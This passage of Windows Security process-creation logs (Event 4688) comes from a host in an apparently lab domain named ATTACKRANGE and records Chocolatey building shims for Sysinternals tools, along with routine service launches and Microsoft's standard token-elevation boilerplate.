Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246723
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsGetsid64.exe" --output="C:\ProgramData\chocolatey\bin\PsGetsid64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsGetsid64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246722
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF1FC.tmp" "c:\ProgramData\chocolatey\bin\CSCE598D1902EC54D898A4C2DDEBEC989C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246721
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0xdf8
	New Process Name:	C:\Windows\System32\msdtc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\msdtc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246720
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246719
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xce0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsGetsid.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246718
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaec
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xce0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246717
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xce0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsGetsid.exe" --output="C:\ProgramData\chocolatey\bin\PsGetsid.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsGetsid.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246716
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0xcd8
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k NetworkService

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246715
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb80
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF121.tmp" "c:\ProgramData\chocolatey\bin\CSC1147DE4DC3634663A968A5E719C9F63.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246714
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246713
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x618
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psfile64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246712
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x360
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x618
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246711
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x618
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psfile64.exe" --output="C:\ProgramData\chocolatey\bin\psfile64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psfile64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246710
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x57c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF056.tmp" "c:\ProgramData\chocolatey\bin\CSCDB00DC3B6BEE4417BDFAEF84E88DB07F.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246709
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x57c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246708
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xecc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psfile.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246707
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8d0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xecc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246706
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xecc
